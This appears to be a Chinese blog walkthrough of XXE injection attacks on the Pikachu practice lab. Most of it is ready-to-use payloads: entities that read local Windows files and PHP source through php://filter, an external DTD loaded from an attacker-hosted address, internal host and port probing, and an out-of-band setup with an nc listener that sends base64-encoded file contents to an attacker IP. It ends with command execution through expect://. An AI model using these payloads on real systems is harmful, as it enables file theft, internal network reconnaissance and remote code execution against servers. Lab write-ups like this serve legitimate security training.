首页 > 其他分享 >pikachu靶场--XXE注入攻击

pikachu靶场--XXE注入攻击

时间:2024-12-18 14:56:57浏览次数:11  
标签:文件 XXE -- 主机 pikachu 端口 dtd xxe 读取

1.POC攻击测试

<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ENTITY xxe "a" > ]>
<foo>&xxe;</foo>

读取到实体xxe内容

2.查看文件

在搜索栏提交xml源码读取目标主机c盘下的指定文件内容

#查看文件
<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///c:/flag" > ]>
<foo>&xxe;</foo>

读取到指定文件内容

3.查看源码

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/pikachu/vul/xxe/xxe.php" > ]>
<foo>&xxe;</foo>

base-64解码得到源码

以上都是自己定义实体,自己调用实体

4.DTD外部调用

写入一个eval.dtd文件里面包含evil实体读取文件

<!ENTITY evil SYSTEM "file:///c:/windows/system.ini" >
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

定义了一个实体,给了实体一个数值

xml攻击访问eval.dtd

<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://172.16.0.176/eval.dtd" >
%xxe; 
]>
<foo>&evil;</foo>

注意引用的时候没空格

页面渲染出dtd文件内要读取的win.ini内容

5.探测内网存货主机与开放端口

//测试内网存活主机

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://172.16.6.89"> ] > <foo>&xxe;</foo>

//测试内网存活主机端口

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://172.16.6.89:80"> ] > <foo>&xxe;</foo>

扫描内网存活主机

访问内网某台存活主机的端口(一直转圈说明没有开启端口)

6.无回显探测

开启8888监听

nc -lvvp 8888

浏览器访问端口,得到监听回显

新建dtd文档

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://目标IP:8888/?%file;'>">
%start;

引用dtd

<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://攻击机IP/eee.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/phpstudy_pro/WWW/333.txt"> %remote; %send;]>

监听得到base64编码内容

base64解码得到文件内容

无回显探测检测成功!

7.扩展:命令执行

在特定场景下,由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个 expect 扩展我们就能直接 利⽤ XXE 进⾏ RCE。

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<x>&xxe;</x>

标签:文件,XXE,--,主机,pikachu,端口,dtd,xxe,读取
From: https://blog.csdn.net/qq_54694921/article/details/144560694

相关文章

  • FFmpeg.AutoGen 获取注册的编解码类型
    使用FFmpeg.AutoGen获取注册的编解码类型1获取版本 Debug.WriteLine($"FFmpegversioninfo:{ffmpeg.av_version_info()}"); FFmpegversioninfo:6.0-full_build-www.gyan.dev2获取注册的编解码类型(注支持硬件加速需要对源码编译)//使用av_codec_iterate获取......
  • 鸿蒙开发:不申请权限,轻松将图片保存到设备相册
      在移动应用开发中,用户经常需要将某些图片保存到设备的相册中。鸿蒙(HarmonyOS)作为一个新兴的操作系统,提供了一套完整的API来帮助开发者实现这一功能。本文将详细介绍如何在鸿蒙应用中实现从网络下载图片并保存到用户的设备相册。环境准备  在开始之前,请确保您的开发......
  • 游戏团队节日协作攻略!6 款办公软件怎样成为致胜法宝?
    在游戏行业这个充满创意与挑战的领域,各部门间的紧密协作是项目成功的基石,尤其是在节日期间,新游戏上线或重大更新的压力下,高效的办公软件成为了不可或缺的协作利器。本文将站在全J人游戏公司的视角,深入剖析6款可视化团队协作办公软件,探讨它们在游戏开发、运营等多方面的表现,究......
  • Springboot家庭理财分析系统nxad6(程序+源码+数据库+调试部署+开发环境)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表家庭成员,支出信息,收入信息,股票信息,债权信息,资产信息,预警通知,公告信息,收入分类,支出分类,基金信息开题报告内容一、研究背景随着社会经济的发展和生活成......
  • 域名历史是什么?怎么进行域名历史查询?
    域名是互联网上用来识别和访问网站的一个易于记忆的地址。它将IP地址转换成人类可读的格式,例如www.example.com。域名是互联网的基础,每个网站都需要一个独特的域名以便用户能够访问。什么是域名历史?域名历史记录了一个域名自注册以来的所有变更,包括所有权、DNS设置、WHOIS信息......
  • Springboot家私导购系统5z229(程序+源码+数据库+调试部署+开发环境)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表用户,家私类别,家私信息开题报告内容一、课题背景与意义随着互联网技术的飞速发展和电子商务的普及,消费者的购物习惯发生了显著变化。特别是在家居家具领域,消费......
  • Springboot家庭财务管理系统596n0(程序+源码+数据库+调试部署+开发环境)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表家庭成员,收入信息,支出信息,收入分类,支出分类,收入统计,支出统计,理财产品,产品购买,理财用户,家庭预算,财务健康开题报告内容一、研究背景与意义随着现代社......
  • 四款电脑桌面好用的备忘录app推荐,可同步手机
    1、stickynotes这款是Windows系统自带的备忘记事工具,中文名叫“便笺”。点击桌面左下角“开始”,在程序列表中可找到。它在电脑桌面上是以一张一张彩色便利贴展现的,可以记录简单的文字和图片,非常像纸质便利贴的电子版。可以通过Office365和手机端同步数据。2、敬业签这款是......
  • 线损管理系统设计与实现
    一、系统概述线损管理系统旨在通过信息化手段,对线损相关的基础信息、考核单元、考核电量进行有效管理,并实现线损的精确统计与异常情况的及时处理,以提高电力企业线损管理的效率和准确性,降低线损率,保障电力系统的经济运行。二、功能模块设计(一)线损基础信息管理设备信息管理录......
  • 偏远地区/户外/野外无电无网监控4G无线太阳能视频监控系统设计方案
    随着全球对可持续发展和清洁能源的重视程度不断提升,太阳能供电无线视频监控系统正以其独特的优势在现代能源领域占据重要位置。这种系统不仅能够实现设备的远程监控和控制,提高系统的智能化和自动化水平,还能通过高速、稳定的数据传输,确保数据的实时性和准确性。那么设计一套4G无......